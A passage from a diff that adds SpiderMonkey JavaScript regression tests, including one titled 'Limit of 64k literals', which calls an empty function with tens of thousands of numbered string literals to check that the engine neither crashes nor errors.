+f('67061','67062','67063','67064');
+f('67065','67066','67067','67068');
+f('67069','67070','67071','67072');
+f('67073','67074','67075','67076');
+f('67077','67078','67079','67080');
+f('67081','67082','67083','67084');
+f('67085','67086','67087','67088');
+f('67089','67090','67091','67092');
+f('67093','67094','67095','67096');
+f('67097','67098','67099','67100');
+f('67101','67102','67103','67104');
+f('67105','67106','67107','67108');
+f('67109','67110','67111','67112');
+f('67113','67114','67115','67116');
+f('67117','67118','67119','67120');
+f('67121','67122','67123','67124');
+f('67125','67126','67127','67128');
+f('67129','67130','67131','67132');
+f('67133','67134','67135','67136');
+f('67137','67138','67139','67140');
+f('67141','67142','67143','67144');
+f('67145','67146','67147','67148');
+f('67149','67150','67151','67152');
+f('67153','67154','67155','67156');
+f('67157','67158','67159','67160');
+f('67161','67162','67163','67164');
+f('67165','67166','67167','67168');
+f('67169','67170','67171','67172');
+f('67173','67174','67175','67176');
+f('67177','67178','67179','67180');
+f('67181','67182','67183','67184');
+f('67185','67186','67187','67188');
+f('67189','67190','67191','67192');
+f('67193','67194','67195','67196');
+f('67197','67198','67199','67200');
+f('67201','67202','67203','67204');
+f('67205','67206','67207','67208');
+f('67209','67210','67211','67212');
+f('67213','67214','67215','67216');
+f('67217','67218','67219','67220');
+f('67221','67222','67223','67224');
+f('67225','67226','67227','67228');
+f('67229','67230','67231','67232');
+f('67233','67234','67235','67236');
+f('67237','67238','67239','67240');
+f('67241','67242','67243','67244');
+f('67245','67246','67247','67248');
+f('67249','67250','67251','67252');
+f('67253','67254','67255','67256');
+f('67257','67258','67259','67260');
+f('67261','67262','67263','67264');
+f('67265','67266','67267','67268');
+f('67269','67270','67271','67272');
+f('67273','67274','67275','67276');
+f('67277','67278','67279','67280');
+f('67281','67282','67283','67284');
+f('67285','67286','67287','67288');
+f('67289','67290','67291','67292');
+f('67293','67294','67295','67296');
+f('67297','67298','67299','67300');
+f('67301','67302','67303','67304');
+f('67305','67306','67307','67308');
+f('67309','67310','67311','67312');
+f('67313','67314','67315','67316');
+f('67317','67318','67319','67320');
+f('67321','67322','67323','67324');
+f('67325','67326','67327','67328');
+f('67329','67330','67331','67332');
+f('67333','67334','67335','67336');
+f('67337','67338','67339','67340');
+f('67341','67342','67343','67344');
+f('67345','67346','67347','67348');
+f('67349','67350','67351','67352');
+f('67353','67354','67355','67356');
+f('67357','67358','67359','67360');
+f('67361','67362','67363','67364');
+f('67365','67366','67367','67368');
+f('67369','67370','67371','67372');
+f('67373','67374','67375','67376');
+f('67377','67378','67379','67380');
+f('67381','67382','67383','67384');
+f('67385','67386','67387','67388');
+f('67389','67390','67391','67392');
+f('67393','67394','67395','67396');
+f('67397','67398','67399','67400');
+f('67401','67402','67403','67404');
+f('67405','67406','67407','67408');
+f('67409','67410','67411','67412');
+f('67413','67414','67415','67416');
+f('67417','67418','67419','67420');
+f('67421','67422','67423','67424');
+f('67425','67426','67427','67428');
+f('67429','67430','67431','67432');
+f('67433','67434','67435','67436');
+f('67437','67438','67439','67440');
+f('67441','67442','67443','67444');
+f('67445','67446','67447','67448');
+f('67449','67450','67451','67452');
+f('67453','67454','67455','67456');
+f('67457','67458','67459','67460');
+f('67461','67462','67463','67464');
+f('67465','67466','67467','67468');
+f('67469','67470','67471','67472');
+f('67473','67474','67475','67476');
+f('67477','67478','67479','67480');
+f('67481','67482','67483','67484');
+f('67485','67486','67487','67488');
+f('67489','67490','67491','67492');
+f('67493','67494','67495','67496');
+f('67497','67498','67499','67500');
+f('67501','67502','67503','67504');
+f('67505','67506','67507','67508');
+f('67509','67510','67511','67512');
+f('67513','67514','67515','67516');
+f('67517','67518','67519','67520');
+f('67521','67522','67523','67524');
+f('67525','67526','67527','67528');
+f('67529','67530','67531','67532');
+f('67533','67534','67535','67536');
+f('67537','67538','67539','67540');
+f('67541','67542','67543','67544');
+f('67545','67546','67547','67548');
+f('67549','67550','67551','67552');
+f('67553','67554','67555','67556');
+f('67557','67558','67559','67560');
+f('67561','67562','67563','67564');
+f('67565','67566','67567','67568');
+f('67569','67570','67571','67572');
+f('67573','67574','67575','67576');
+f('67577','67578','67579','67580');
+f('67581','67582','67583','67584');
+f('67585','67586','67587','67588');
+f('67589','67590','67591','67592');
+f('67593','67594','67595','67596');
+f('67597','67598','67599','67600');
+f('67601','67602','67603','67604');
+f('67605','67606','67607','67608');
+f('67609','67610','67611','67612');
+f('67613','67614','67615','67616');
+f('67617','67618','67619','67620');
+f('67621','67622','67623','67624');
+f('67625','67626','67627','67628');
+f('67629','67630','67631','67632');
+f('67633','67634','67635','67636');
+f('67637','67638','67639','67640');
+f('67641','67642','67643','67644');
+f('67645','67646','67647','67648');
+f('67649','67650','67651','67652');
+f('67653','67654','67655','67656');
+f('67657','67658','67659','67660');
+f('67661','67662','67663','67664');
+f('67665','67666','67667','67668');
+f('67669','67670','67671','67672');
+f('67673','67674','67675','67676');
+f('67677','67678','67679','67680');
+f('67681','67682','67683','67684');
+f('67685','67686','67687','67688');
+f('67689','67690','67691','67692');
+f('67693','67694','67695','67696');
+f('67697','67698','67699','67700');
+f('67701','67702','67703','67704');
+f('67705','67706','67707','67708');
+f('67709','67710','67711','67712');
+f('67713','67714','67715','67716');
+f('67717','67718','67719','67720');
+f('67721','67722','67723','67724');
+f('67725','67726','67727','67728');
+f('67729','67730','67731','67732');
+f('67733','67734','67735','67736');
+f('67737','67738','67739','67740');
+f('67741','67742','67743','67744');
+f('67745','67746','67747','67748');
+f('67749','67750','67751','67752');
+f('67753','67754','67755','67756');
+f('67757','67758','67759','67760');
+f('67761','67762','67763','67764');
+f('67765','67766','67767','67768');
+f('67769','67770','67771','67772');
+f('67773','67774','67775','67776');
+f('67777','67778','67779','67780');
+f('67781','67782','67783','67784');
+f('67785','67786','67787','67788');
+f('67789','67790','67791','67792');
+f('67793','67794','67795','67796');
+f('67797','67798','67799','67800');
+f('67801','67802','67803','67804');
+f('67805','67806','67807','67808');
+f('67809','67810','67811','67812');
+f('67813','67814','67815','67816');
+f('67817','67818','67819','67820');
+f('67821','67822','67823','67824');
+f('67825','67826','67827','67828');
+f('67829','67830','67831','67832');
+f('67833','67834','67835','67836');
+f('67837','67838','67839','67840');
+f('67841','67842','67843','67844');
+f('67845','67846','67847','67848');
+f('67849','67850','67851','67852');
+f('67853','67854','67855','67856');
+f('67857','67858','67859','67860');
+f('67861','67862','67863','67864');
+f('67865','67866','67867','67868');
+f('67869','67870','67871','67872');
+f('67873','67874','67875','67876');
+f('67877','67878','67879','67880');
+f('67881','67882','67883','67884');
+f('67885','67886','67887','67888');
+f('67889','67890','67891','67892');
+f('67893','67894','67895','67896');
+f('67897','67898','67899','67900');
+f('67901','67902','67903','67904');
+f('67905','67906','67907','67908');
+f('67909','67910','67911','67912');
+f('67913','67914','67915','67916');
+f('67917','67918','67919','67920');
+f('67921','67922','67923','67924');
+f('67925','67926','67927','67928');
+f('67929','67930','67931','67932');
+f('67933','67934','67935','67936');
+f('67937','67938','67939','67940');
+f('67941','67942','67943','67944');
+f('67945','67946','67947','67948');
+f('67949','67950','67951','67952');
+f('67953','67954','67955','67956');
+f('67957','67958','67959','67960');
+f('67961','67962','67963','67964');
+f('67965','67966','67967','67968');
+f('67969','67970','67971','67972');
+f('67973','67974','67975','67976');
+f('67977','67978','67979','67980');
+f('67981','67982','67983','67984');
+f('67985','67986','67987','67988');
+f('67989','67990','67991','67992');
+f('67993','67994','67995','67996');
+f('67997','67998','67999','68000');
+f('68001','68002','68003','68004');
+f('68005','68006','68007','68008');
+f('68009','68010','68011','68012');
+f('68013','68014','68015','68016');
+f('68017','68018','68019','68020');
+f('68021','68022','68023','68024');
+f('68025','68026','68027','68028');
+f('68029','68030','68031','68032');
+f('68033','68034','68035','68036');
+f('68037','68038','68039','68040');
+f('68041','68042','68043','68044');
+f('68045','68046','68047','68048');
+f('68049','68050','68051','68052');
+f('68053','68054','68055','68056');
+f('68057','68058','68059','68060');
+f('68061','68062','68063','68064');
+f('68065','68066','68067','68068');
+f('68069','68070','68071','68072');
+f('68073','68074','68075','68076');
+f('68077','68078','68079','68080');
+f('68081','68082','68083','68084');
+f('68085','68086','68087','68088');
+f('68089','68090','68091','68092');
+f('68093','68094','68095','68096');
+f('68097','68098','68099','68100');
+f('68101','68102','68103','68104');
+f('68105','68106','68107','68108');
+f('68109','68110','68111','68112');
+f('68113','68114','68115','68116');
+f('68117','68118','68119','68120');
+f('68121','68122','68123','68124');
+f('68125','68126','68127','68128');
+f('68129','68130','68131','68132');
+f('68133','68134','68135','68136');
+f('68137','68138','68139','68140');
+f('68141','68142','68143','68144');
+f('68145','68146','68147','68148');
+f('68149','68150','68151','68152');
+f('68153','68154','68155','68156');
+f('68157','68158','68159','68160');
+f('68161','68162','68163','68164');
+f('68165','68166','68167','68168');
+f('68169','68170','68171','68172');
+f('68173','68174','68175','68176');
+f('68177','68178','68179','68180');
+f('68181','68182','68183','68184');
+f('68185','68186','68187','68188');
+f('68189','68190','68191','68192');
+f('68193','68194','68195','68196');
+f('68197','68198','68199','68200');
+f('68201','68202','68203','68204');
+f('68205','68206','68207','68208');
+f('68209','68210','68211','68212');
+f('68213','68214','68215','68216');
+f('68217','68218','68219','68220');
+f('68221','68222','68223','68224');
+f('68225','68226','68227','68228');
+f('68229','68230','68231','68232');
+f('68233','68234','68235','68236');
+f('68237','68238','68239','68240');
+f('68241','68242','68243','68244');
+f('68245','68246','68247','68248');
+f('68249','68250','68251','68252');
+f('68253','68254','68255','68256');
+f('68257','68258','68259','68260');
+f('68261','68262','68263','68264');
+f('68265','68266','68267','68268');
+f('68269','68270','68271','68272');
+f('68273','68274','68275','68276');
+f('68277','68278','68279','68280');
+f('68281','68282','68283','68284');
+f('68285','68286','68287','68288');
+f('68289','68290','68291','68292');
+f('68293','68294','68295','68296');
+f('68297','68298','68299','68300');
+f('68301','68302','68303','68304');
+f('68305','68306','68307','68308');
+f('68309','68310','68311','68312');
+f('68313','68314','68315','68316');
+f('68317','68318','68319','68320');
+f('68321','68322','68323','68324');
+f('68325','68326','68327','68328');
+f('68329','68330','68331','68332');
+f('68333','68334','68335','68336');
+f('68337','68338','68339','68340');
+f('68341','68342','68343','68344');
+f('68345','68346','68347','68348');
+f('68349','68350','68351','68352');
+f('68353','68354','68355','68356');
+f('68357','68358','68359','68360');
+f('68361','68362','68363','68364');
+f('68365','68366','68367','68368');
+f('68369','68370','68371','68372');
+f('68373','68374','68375','68376');
+f('68377','68378','68379','68380');
+f('68381','68382','68383','68384');
+f('68385','68386','68387','68388');
+f('68389','68390','68391','68392');
+f('68393','68394','68395','68396');
+f('68397','68398','68399','68400');
+f('68401','68402','68403','68404');
+f('68405','68406','68407','68408');
+f('68409','68410','68411','68412');
+f('68413','68414','68415','68416');
+f('68417','68418','68419','68420');
+f('68421','68422','68423','68424');
+f('68425','68426','68427','68428');
+f('68429','68430','68431','68432');
+f('68433','68434','68435','68436');
+f('68437','68438','68439','68440');
+f('68441','68442','68443','68444');
+f('68445','68446','68447','68448');
+f('68449','68450','68451','68452');
+f('68453','68454','68455','68456');
+f('68457','68458','68459','68460');
+f('68461','68462','68463','68464');
+f('68465','68466','68467','68468');
+f('68469','68470','68471','68472');
+f('68473','68474','68475','68476');
+f('68477','68478','68479','68480');
+f('68481','68482','68483','68484');
+f('68485','68486','68487','68488');
+f('68489','68490','68491','68492');
+f('68493','68494','68495','68496');
+f('68497','68498','68499','68500');
+f('68501','68502','68503','68504');
+f('68505','68506','68507','68508');
+f('68509','68510','68511','68512');
+f('68513','68514','68515','68516');
+f('68517','68518','68519','68520');
+f('68521','68522','68523','68524');
+f('68525','68526','68527','68528');
+f('68529','68530','68531','68532');
+f('68533','68534','68535','68536');
+f('68537','68538','68539','68540');
+f('68541','68542','68543','68544');
+f('68545','68546','68547','68548');
+f('68549','68550','68551','68552');
+f('68553','68554','68555','68556');
+f('68557','68558','68559','68560');
+f('68561','68562','68563','68564');
+f('68565','68566','68567','68568');
+f('68569','68570','68571','68572');
+f('68573','68574','68575','68576');
+f('68577','68578','68579','68580');
+f('68581','68582','68583','68584');
+f('68585','68586','68587','68588');
+f('68589','68590','68591','68592');
+f('68593','68594','68595','68596');
+f('68597','68598','68599','68600');
+f('68601','68602','68603','68604');
+f('68605','68606','68607','68608');
+f('68609','68610','68611','68612');
+f('68613','68614','68615','68616');
+f('68617','68618','68619','68620');
+f('68621','68622','68623','68624');
+f('68625','68626','68627','68628');
+f('68629','68630','68631','68632');
+f('68633','68634','68635','68636');
+f('68637','68638','68639','68640');
+f('68641','68642','68643','68644');
+f('68645','68646','68647','68648');
+f('68649','68650','68651','68652');
+f('68653','68654','68655','68656');
+f('68657','68658','68659','68660');
+f('68661','68662','68663','68664');
+f('68665','68666','68667','68668');
+f('68669','68670','68671','68672');
+f('68673','68674','68675','68676');
+f('68677','68678','68679','68680');
+f('68681','68682','68683','68684');
+f('68685','68686','68687','68688');
+f('68689','68690','68691','68692');
+f('68693','68694','68695','68696');
+f('68697','68698','68699','68700');
+f('68701','68702','68703','68704');
+f('68705','68706','68707','68708');
+f('68709','68710','68711','68712');
+f('68713','68714','68715','68716');
+f('68717','68718','68719','68720');
+f('68721','68722','68723','68724');
+f('68725','68726','68727','68728');
+f('68729','68730','68731','68732');
+f('68733','68734','68735','68736');
+f('68737','68738','68739','68740');
+f('68741','68742','68743','68744');
+f('68745','68746','68747','68748');
+f('68749','68750','68751','68752');
+f('68753','68754','68755','68756');
+f('68757','68758','68759','68760');
+f('68761','68762','68763','68764');
+f('68765','68766','68767','68768');
+f('68769','68770','68771','68772');
+f('68773','68774','68775','68776');
+f('68777','68778','68779','68780');
+f('68781','68782','68783','68784');
+f('68785','68786','68787','68788');
+f('68789','68790','68791','68792');
+f('68793','68794','68795','68796');
+f('68797','68798','68799','68800');
+f('68801','68802','68803','68804');
+f('68805','68806','68807','68808');
+f('68809','68810','68811','68812');
+f('68813','68814','68815','68816');
+f('68817','68818','68819','68820');
+f('68821','68822','68823','68824');
+f('68825','68826','68827','68828');
+f('68829','68830','68831','68832');
+f('68833','68834','68835','68836');
+f('68837','68838','68839','68840');
+f('68841','68842','68843','68844');
+f('68845','68846','68847','68848');
+f('68849','68850','68851','68852');
+f('68853','68854','68855','68856');
+f('68857','68858','68859','68860');
+f('68861','68862','68863','68864');
+f('68865','68866','68867','68868');
+f('68869','68870','68871','68872');
+f('68873','68874','68875','68876');
+f('68877','68878','68879','68880');
+f('68881','68882','68883','68884');
+f('68885','68886','68887','68888');
+f('68889','68890','68891','68892');
+f('68893','68894','68895','68896');
+f('68897','68898','68899','68900');
+f('68901','68902','68903','68904');
+f('68905','68906','68907','68908');
+f('68909','68910','68911','68912');
+f('68913','68914','68915','68916');
+f('68917','68918','68919','68920');
+f('68921','68922','68923','68924');
+f('68925','68926','68927','68928');
+f('68929','68930','68931','68932');
+f('68933','68934','68935','68936');
+f('68937','68938','68939','68940');
+f('68941','68942','68943','68944');
+f('68945','68946','68947','68948');
+f('68949','68950','68951','68952');
+f('68953','68954','68955','68956');
+f('68957','68958','68959','68960');
+f('68961','68962','68963','68964');
+f('68965','68966','68967','68968');
+f('68969','68970','68971','68972');
+f('68973','68974','68975','68976');
+f('68977','68978','68979','68980');
+f('68981','68982','68983','68984');
+f('68985','68986','68987','68988');
+f('68989','68990','68991','68992');
+f('68993','68994','68995','68996');
+f('68997','68998','68999','69000');
+f('69001','69002','69003','69004');
+f('69005','69006','69007','69008');
+f('69009','69010','69011','69012');
+f('69013','69014','69015','69016');
+f('69017','69018','69019','69020');
+f('69021','69022','69023','69024');
+f('69025','69026','69027','69028');
+f('69029','69030','69031','69032');
+f('69033','69034','69035','69036');
+f('69037','69038','69039','69040');
+f('69041','69042','69043','69044');
+f('69045','69046','69047','69048');
+f('69049','69050','69051','69052');
+f('69053','69054','69055','69056');
+f('69057','69058','69059','69060');
+f('69061','69062','69063','69064');
+f('69065','69066','69067','69068');
+f('69069','69070','69071','69072');
+f('69073','69074','69075','69076');
+f('69077','69078','69079','69080');
+f('69081','69082','69083','69084');
+f('69085','69086','69087','69088');
+f('69089','69090','69091','69092');
+f('69093','69094','69095','69096');
+f('69097','69098','69099','69100');
+f('69101','69102','69103','69104');
+f('69105','69106','69107','69108');
+f('69109','69110','69111','69112');
+f('69113','69114','69115','69116');
+f('69117','69118','69119','69120');
+f('69121','69122','69123','69124');
+f('69125','69126','69127','69128');
+f('69129','69130','69131','69132');
+f('69133','69134','69135','69136');
+f('69137','69138','69139','69140');
+f('69141','69142','69143','69144');
+f('69145','69146','69147','69148');
+f('69149','69150','69151','69152');
+f('69153','69154','69155','69156');
+f('69157','69158','69159','69160');
+f('69161','69162','69163','69164');
+f('69165','69166','69167','69168');
+f('69169','69170','69171','69172');
+f('69173','69174','69175','69176');
+f('69177','69178','69179','69180');
+f('69181','69182','69183','69184');
+f('69185','69186','69187','69188');
+f('69189','69190','69191','69192');
+f('69193','69194','69195','69196');
+f('69197','69198','69199','69200');
+f('69201','69202','69203','69204');
+f('69205','69206','69207','69208');
+f('69209','69210','69211','69212');
+f('69213','69214','69215','69216');
+f('69217','69218','69219','69220');
+f('69221','69222','69223','69224');
+f('69225','69226','69227','69228');
+f('69229','69230','69231','69232');
+f('69233','69234','69235','69236');
+f('69237','69238','69239','69240');
+f('69241','69242','69243','69244');
+f('69245','69246','69247','69248');
+f('69249','69250','69251','69252');
+f('69253','69254','69255','69256');
+f('69257','69258','69259','69260');
+f('69261','69262','69263','69264');
+f('69265','69266','69267','69268');
+f('69269','69270','69271','69272');
+f('69273','69274','69275','69276');
+f('69277','69278','69279','69280');
+f('69281','69282','69283','69284');
+f('69285','69286','69287','69288');
+f('69289','69290','69291','69292');
+f('69293','69294','69295','69296');
+f('69297','69298','69299','69300');
+f('69301','69302','69303','69304');
+f('69305','69306','69307','69308');
+f('69309','69310','69311','69312');
+f('69313','69314','69315','69316');
+f('69317','69318','69319','69320');
+f('69321','69322','69323','69324');
+f('69325','69326','69327','69328');
+f('69329','69330','69331','69332');
+f('69333','69334','69335','69336');
+f('69337','69338','69339','69340');
+f('69341','69342','69343','69344');
+f('69345','69346','69347','69348');
+f('69349','69350','69351','69352');
+f('69353','69354','69355','69356');
+f('69357','69358','69359','69360');
+f('69361','69362','69363','69364');
+f('69365','69366','69367','69368');
+f('69369','69370','69371','69372');
+f('69373','69374','69375','69376');
+f('69377','69378','69379','69380');
+f('69381','69382','69383','69384');
+f('69385','69386','69387','69388');
+f('69389','69390','69391','69392');
+f('69393','69394','69395','69396');
+f('69397','69398','69399','69400');
+f('69401','69402','69403','69404');
+f('69405','69406','69407','69408');
+f('69409','69410','69411','69412');
+f('69413','69414','69415','69416');
+f('69417','69418','69419','69420');
+f('69421','69422','69423','69424');
+f('69425','69426','69427','69428');
+f('69429','69430','69431','69432');
+f('69433','69434','69435','69436');
+f('69437','69438','69439','69440');
+f('69441','69442','69443','69444');
+f('69445','69446','69447','69448');
+f('69449','69450','69451','69452');
+f('69453','69454','69455','69456');
+f('69457','69458','69459','69460');
+f('69461','69462','69463','69464');
+f('69465','69466','69467','69468');
+f('69469','69470','69471','69472');
+f('69473','69474','69475','69476');
+f('69477','69478','69479','69480');
+f('69481','69482','69483','69484');
+f('69485','69486','69487','69488');
+f('69489','69490','69491','69492');
+f('69493','69494','69495','69496');
+f('69497','69498','69499','69500');
+f('69501','69502','69503','69504');
+f('69505','69506','69507','69508');
+f('69509','69510','69511','69512');
+f('69513','69514','69515','69516');
+f('69517','69518','69519','69520');
+f('69521','69522','69523','69524');
+f('69525','69526','69527','69528');
+f('69529','69530','69531','69532');
+f('69533','69534','69535','69536');
+f('69537','69538','69539','69540');
+f('69541','69542','69543','69544');
+f('69545','69546','69547','69548');
+f('69549','69550','69551','69552');
+f('69553','69554','69555','69556');
+f('69557','69558','69559','69560');
+f('69561','69562','69563','69564');
+f('69565','69566','69567','69568');
+f('69569','69570','69571','69572');
+f('69573','69574','69575','69576');
+f('69577','69578','69579','69580');
+f('69581','69582','69583','69584');
+f('69585','69586','69587','69588');
+f('69589','69590','69591','69592');
+f('69593','69594','69595','69596');
+f('69597','69598','69599','69600');
+f('69601','69602','69603','69604');
+f('69605','69606','69607','69608');
+f('69609','69610','69611','69612');
+f('69613','69614','69615','69616');
+f('69617','69618','69619','69620');
+f('69621','69622','69623','69624');
+f('69625','69626','69627','69628');
+f('69629','69630','69631','69632');
+f('69633','69634','69635','69636');
+f('69637','69638','69639','69640');
+f('69641','69642','69643','69644');
+f('69645','69646','69647','69648');
+f('69649','69650','69651','69652');
+f('69653','69654','69655','69656');
+f('69657','69658','69659','69660');
+f('69661','69662','69663','69664');
+f('69665','69666','69667','69668');
+f('69669','69670','69671','69672');
+f('69673','69674','69675','69676');
+f('69677','69678','69679','69680');
+f('69681','69682','69683','69684');
+f('69685','69686','69687','69688');
+f('69689','69690','69691','69692');
+f('69693','69694','69695','69696');
+f('69697','69698','69699','69700');
+f('69701','69702','69703','69704');
+f('69705','69706','69707','69708');
+f('69709','69710','69711','69712');
+f('69713','69714','69715','69716');
+f('69717','69718','69719','69720');
+f('69721','69722','69723','69724');
+f('69725','69726','69727','69728');
+f('69729','69730','69731','69732');
+f('69733','69734','69735','69736');
+f('69737','69738','69739','69740');
+f('69741','69742','69743','69744');
+f('69745','69746','69747','69748');
+f('69749','69750','69751','69752');
+f('69753','69754','69755','69756');
+f('69757','69758','69759','69760');
+f('69761','69762','69763','69764');
+f('69765','69766','69767','69768');
+f('69769','69770','69771','69772');
+f('69773','69774','69775','69776');
+f('69777','69778','69779','69780');
+f('69781','69782','69783','69784');
+f('69785','69786','69787','69788');
+f('69789','69790','69791','69792');
+f('69793','69794','69795','69796');
+f('69797','69798','69799','69800');
+f('69801','69802','69803','69804');
+f('69805','69806','69807','69808');
+f('69809','69810','69811','69812');
+f('69813','69814','69815','69816');
+f('69817','69818','69819','69820');
+f('69821','69822','69823','69824');
+f('69825','69826','69827','69828');
+f('69829','69830','69831','69832');
+f('69833','69834','69835','69836');
+f('69837','69838','69839','69840');
+f('69841','69842','69843','69844');
+f('69845','69846','69847','69848');
+f('69849','69850','69851','69852');
+f('69853','69854','69855','69856');
+f('69857','69858','69859','69860');
+f('69861','69862','69863','69864');
+f('69865','69866','69867','69868');
+f('69869','69870','69871','69872');
+f('69873','69874','69875','69876');
+f('69877','69878','69879','69880');
+f('69881','69882','69883','69884');
+f('69885','69886','69887','69888');
+f('69889','69890','69891','69892');
+f('69893','69894','69895','69896');
+f('69897','69898','69899','69900');
+f('69901','69902','69903','69904');
+f('69905','69906','69907','69908');
+f('69909','69910','69911','69912');
+f('69913','69914','69915','69916');
+f('69917','69918','69919','69920');
+f('69921','69922','69923','69924');
+f('69925','69926','69927','69928');
+f('69929','69930','69931','69932');
+f('69933','69934','69935','69936');
+f('69937','69938','69939','69940');
+f('69941','69942','69943','69944');
+f('69945','69946','69947','69948');
+f('69949','69950','69951','69952');
+f('69953','69954','69955','69956');
+f('69957','69958','69959','69960');
+f('69961','69962','69963','69964');
+f('69965','69966','69967','69968');
+f('69969','69970','69971','69972');
+f('69973','69974','69975','69976');
+f('69977','69978','69979','69980');
+f('69981','69982','69983','69984');
+f('69985','69986','69987','69988');
+f('69989','69990','69991','69992');
+f('69993','69994','69995','69996');
+f('69997','69998','69999','70000');
+
+actual = 'No Crash, No Error';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-155081.js b/js/src/tests/non262/regress/regress-155081.js
new file mode 100644
index 0000000000..9c52cf8de6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-155081.js
@@ -0,0 +1,17527 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 155081;
+var summary = 'Limit of 64k literals';
+var actual = 'No Crash';
+var expect = 'No Crash, No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(A,B,C,D) {}
+
+try
+{
+ f('1','2','3','4');
+ f('5','6','7','8');
+ f('9','10','11','12');
+ f('13','14','15','16');
+ f('17','18','19','20');
+ f('21','22','23','24');
+ f('25','26','27','28');
+ f('29','30','31','32');
+ f('33','34','35','36');
+ f('37','38','39','40');
+ f('41','42','43','44');
+ f('45','46','47','48');
+ f('49','50','51','52');
+ f('53','54','55','56');
+ f('57','58','59','60');
+ f('61','62','63','64');
+ f('65','66','67','68');
+ f('69','70','71','72');
+ f('73','74','75','76');
+ f('77','78','79','80');
+ f('81','82','83','84');
+ f('85','86','87','88');
+ f('89','90','91','92');
+ f('93','94','95','96');
+ f('97','98','99','100');
+ f('101','102','103','104');
+ f('105','106','107','108');
+ f('109','110','111','112');
+ f('113','114','115','116');
+ f('117','118','119','120');
+ f('121','122','123','124');
+ f('125','126','127','128');
+ f('129','130','131','132');
+ f('133','134','135','136');
+ f('137','138','139','140');
+ f('141','142','143','144');
+ f('145','146','147','148');
+ f('149','150','151','152');
+ f('153','154','155','156');
+ f('157','158','159','160');
+ f('161','162','163','164');
+ f('165','166','167','168');
+ f('169','170','171','172');
+ f('173','174','175','176');
+ f('177','178','179','180');
+ f('181','182','183','184');
+ f('185','186','187','188');
+ f('189','190','191','192');
+ f('193','194','195','196');
+ f('197','198','199','200');
+ f('201','202','203','204');
+ f('205','206','207','208');
+ f('209','210','211','212');
+ f('213','214','215','216');
+ f('217','218','219','220');
+ f('221','222','223','224');
+ f('225','226','227','228');
+ f('229','230','231','232');
+ f('233','234','235','236');
+ f('237','238','239','240');
+ f('241','242','243','244');
+ f('245','246','247','248');
+ f('249','250','251','252');
+ f('253','254','255','256');
+ f('257','258','259','260');
+ f('261','262','263','264');
+ f('265','266','267','268');
+ f('269','270','271','272');
+ f('273','274','275','276');
+ f('277','278','279','280');
+ f('281','282','283','284');
+ f('285','286','287','288');
+ f('289','290','291','292');
+ f('293','294','295','296');
+ f('297','298','299','300');
+ f('301','302','303','304');
+ f('305','306','307','308');
+ f('309','310','311','312');
+ f('313','314','315','316');
+ f('317','318','319','320');
+ f('321','322','323','324');
+ f('325','326','327','328');
+ f('329','330','331','332');
+ f('333','334','335','336');
+ f('337','338','339','340');
+ f('341','342','343','344');
+ f('345','346','347','348');
+ f('349','350','351','352');
+ f('353','354','355','356');
+ f('357','358','359','360');
+ f('361','362','363','364');
+ f('365','366','367','368');
+ f('369','370','371','372');
+ f('373','374','375','376');
+ f('377','378','379','380');
+ f('381','382','383','384');
+ f('385','386','387','388');
+ f('389','390','391','392');
+ f('393','394','395','396');
+ f('397','398','399','400');
+ f('401','402','403','404');
+ f('405','406','407','408');
+ f('409','410','411','412');
+ f('413','414','415','416');
+ f('417','418','419','420');
+ f('421','422','423','424');
+ f('425','426','427','428');
+ f('429','430','431','432');
+ f('433','434','435','436');
+ f('437','438','439','440');
+ f('441','442','443','444');
+ f('445','446','447','448');
+ f('449','450','451','452');
+ f('453','454','455','456');
+ f('457','458','459','460');
+ f('461','462','463','464');
+ f('465','466','467','468');
+ f('469','470','471','472');
+ f('473','474','475','476');
+ f('477','478','479','480');
+ f('481','482','483','484');
+ f('485','486','487','488');
+ f('489','490','491','492');
+ f('493','494','495','496');
+ f('497','498','499','500');
+ f('501','502','503','504');
+ f('505','506','507','508');
+ f('509','510','511','512');
+ f('513','514','515','516');
+ f('517','518','519','520');
+ f('521','522','523','524');
+ f('525','526','527','528');
+ f('529','530','531','532');
+ f('533','534','535','536');
+ f('537','538','539','540');
+ f('541','542','543','544');
+ f('545','546','547','548');
+ f('549','550','551','552');
+ f('553','554','555','556');
+ f('557','558','559','560');
+ f('561','562','563','564');
+ f('565','566','567','568');
+ f('569','570','571','572');
+ f('573','574','575','576');
+ f('577','578','579','580');
+ f('581','582','583','584');
+ f('585','586','587','588');
+ f('589','590','591','592');
+ f('593','594','595','596');
+ f('597','598','599','600');
+ f('601','602','603','604');
+ f('605','606','607','608');
+ f('609','610','611','612');
+ f('613','614','615','616');
+ f('617','618','619','620');
+ f('621','622','623','624');
+ f('625','626','627','628');
+ f('629','630','631','632');
+ f('633','634','635','636');
+ f('637','638','639','640');
+ f('641','642','643','644');
+ f('645','646','647','648');
+ f('649','650','651','652');
+ f('653','654','655','656');
+ f('657','658','659','660');
+ f('661','662','663','664');
+ f('665','666','667','668');
+ f('669','670','671','672');
+ f('673','674','675','676');
+ f('677','678','679','680');
+ f('681','682','683','684');
+ f('685','686','687','688');
+ f('689','690','691','692');
+ f('693','694','695','696');
+ f('697','698','699','700');
+ f('701','702','703','704');
+ f('705','706','707','708');
+ f('709','710','711','712');
+ f('713','714','715','716');
+ f('717','718','719','720');
+ f('721','722','723','724');
+ f('725','726','727','728');
+ f('729','730','731','732');
+ f('733','734','735','736');
+ f('737','738','739','740');
+ f('741','742','743','744');
+ f('745','746','747','748');
+ f('749','750','751','752');
+ f('753','754','755','756');
+ f('757','758','759','760');
+ f('761','762','763','764');
+ f('765','766','767','768');
+ f('769','770','771','772');
+ f('773','774','775','776');
+ f('777','778','779','780');
+ f('781','782','783','784');
+ f('785','786','787','788');
+ f('789','790','791','792');
+ f('793','794','795','796');
+ f('797','798','799','800');
+ f('801','802','803','804');
+ f('805','806','807','808');
+ f('809','810','811','812');
+ f('813','814','815','816');
+ f('817','818','819','820');
+ f('821','822','823','824');
+ f('825','826','827','828');
+ f('829','830','831','832');
+ f('833','834','835','836');
+ f('837','838','839','840');
+ f('841','842','843','844');
+ f('845','846','847','848');
+ f('849','850','851','852');
+ f('853','854','855','856');
+ f('857','858','859','860');
+ f('861','862','863','864');
